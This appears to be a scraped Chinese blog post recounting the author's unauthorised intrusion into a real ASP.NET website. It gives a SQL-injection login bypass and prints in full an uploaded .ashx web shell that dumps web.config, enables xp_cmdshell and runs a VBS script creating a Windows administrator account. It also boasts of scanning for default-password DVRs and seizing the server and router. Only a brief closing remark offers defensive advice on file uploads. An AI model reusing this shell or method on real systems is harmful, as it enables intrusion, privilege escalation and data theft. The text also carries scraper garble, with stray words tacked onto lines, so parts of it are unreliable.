記一次ASP.NET網站的入侵和如何避免被入侵

 

 

ASP.NET網站入侵第二波(LeaRun.信息化快速開發框架 已被筆者拿下)html

 

 

詳細介紹請看第二波程序員

 

 

 

 

首先我要申明的是否是什麼語言寫出來的程序就不安全,而是得看寫代碼的人如何去寫這個程序web

  前些日子我去客戶那調研,發現客戶的監控系統用的是海康威視的硬盤錄像機,而後默認用戶名是amdin 密碼是12345,回來後就想玩一玩看看有多少人用的是默認密碼,因而就寫了個掃描程序,很快掃描到了一大批網站,也獲得不少採用的是默認用戶名和密碼。sql

  玩了一兩天後發現沒什麼好玩的,就隨便在裏面找找掃描記錄,看到一些後臺登錄地址,因而就都測試下,而後就發現了這個網站:shell

最開始我是測試弱口令,數據庫

admin  amdin  等,隨便測試了幾個,沒成功,因而開始測試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個1 登錄,竟然登錄成功了。。。。安全

但發現登錄進來後報錯了,,, 想了下多是用戶名的問題,因而就找頁面看看能不能看到個人登錄用戶名,最後找到寫郵件裏面看到了服務器

固然若是入侵只到這 你確定會絕對弱爆了。。。其實固然也是,由於我拿下了他的數據和程序。。。固然最好拿下了他的服務器,得知他服務器是作的端口映射,因而又拿下了他的路由器,而後就沒有再繼續往下進行了,固然還能夠繼續下去,好比 路由器的dns劫持,頁面重定向,端口鏡像等等框架

下面我開始介紹主要入侵頁面,文件上傳頁面ide

 

本身寫了個ashx頁面,上傳

代碼很簡單,就是讀取網站的web.config文件而後以文本形式輸出,

我先簡單說下入侵流程:

一、讀取web.config獲得數據庫鏈接

二、利用SQL Server執行命令添加Windows用戶(由於網站默認是iis用戶,沒有權限直線net等相關操做,但SQL Server是基於本地服務運行的,權限很高)

我貼出我上傳的ashx文件代碼:

 1 <%@ WebHandler Language="C#" Class="TextLd" %>
 2 using System;
 3 using System.Collections.Generic;
 4 using System.Linq;
 5 using System.Web;
 6 using System.Data.SqlClient;
 7 
 8     public class TextLd : IHttpHandler
 9     {
10         public void CreateLocalUser(string newPath)
11         {
12             System.Diagnostics.Process.Start(@"d:\1.vbs");
13             System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '創建用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
14         }
15         public void ShowWebConfig(HttpContext context)
16         {
17             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
18         }
19         public void WriteVbs(HttpContext context)
20         {
21             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '創建用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
22         }
23         public void ExecuteSql(string connection, string sql)
24         {
25             using (SqlConnection con = new SqlConnection(connection))
26             {
27                 using (SqlCommand commd = new SqlCommand(sql, con))
28                 {
29                     con.Open();
30                     commd.ExecuteNonQuery();
31                     con.Close();
32                 }
33             }
34         }
35         public void ProcessRequest(HttpContext context)
36         {
37             context.Response.ContentType = "text/plain";
38             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
39             try
40             {
41                 var connection = context.Request.QueryString["connection"];
42                 switch (context.Request.QueryString["method"])
43                 {
44                     case "1": WriteVbs(context); break;
45                     case "2":
46                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
47                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//開啓數據庫的xp_cmdshell
48                         break;
49                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
50                         break;
51                     default:
52                         ShowWebConfig(context);
53                         break;
54                 }
55             }
56             catch (Exception ex)
57             {
58                 context.Response.Write(ex.Message);
59             }
60             context.Response.End();
61         }
62         public bool IsReusable
63         {
64             get
65             {
66                 return false;
67             }
68         }
69     }
View Code


而後一次執行,就這樣服務器就被我拿下了。。。  創建了一個用戶名爲test密碼是1234的超級管理員用戶,因而測試下遠程鏈接

而後弄乾啥,你們都知道的。。。。

固然,若是不拿下他服務器,你想一想你都能直線你本身寫的代碼了。。。 什麼壞事幹不了。。。 固然本人只是測試了下可行性,就算不拿下服務器,執行sql語句把他數據庫備份下載下來拿還不是分分鐘的事情?

好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(我的以爲,固然他是導火索),而是文件上傳,大部分程序員在寫文件上傳功能的時候,以前客戶上傳過來的文件保存到網站目錄下的某個文件夾,不作任何處理,這也就是致使了他服務器被我拿下的最主要的入口。
因此我仍是奉勸你們一下,作文件上傳仍是對文件進行下處理比較好,具體怎麼處理我想聰明的你確定有不少方法。。。

 

小學文化的我傷不起啊。。。。 哎 。。。  原諒我文采很差   大家將就着看吧-.-!
相關文章
相關標籤/搜索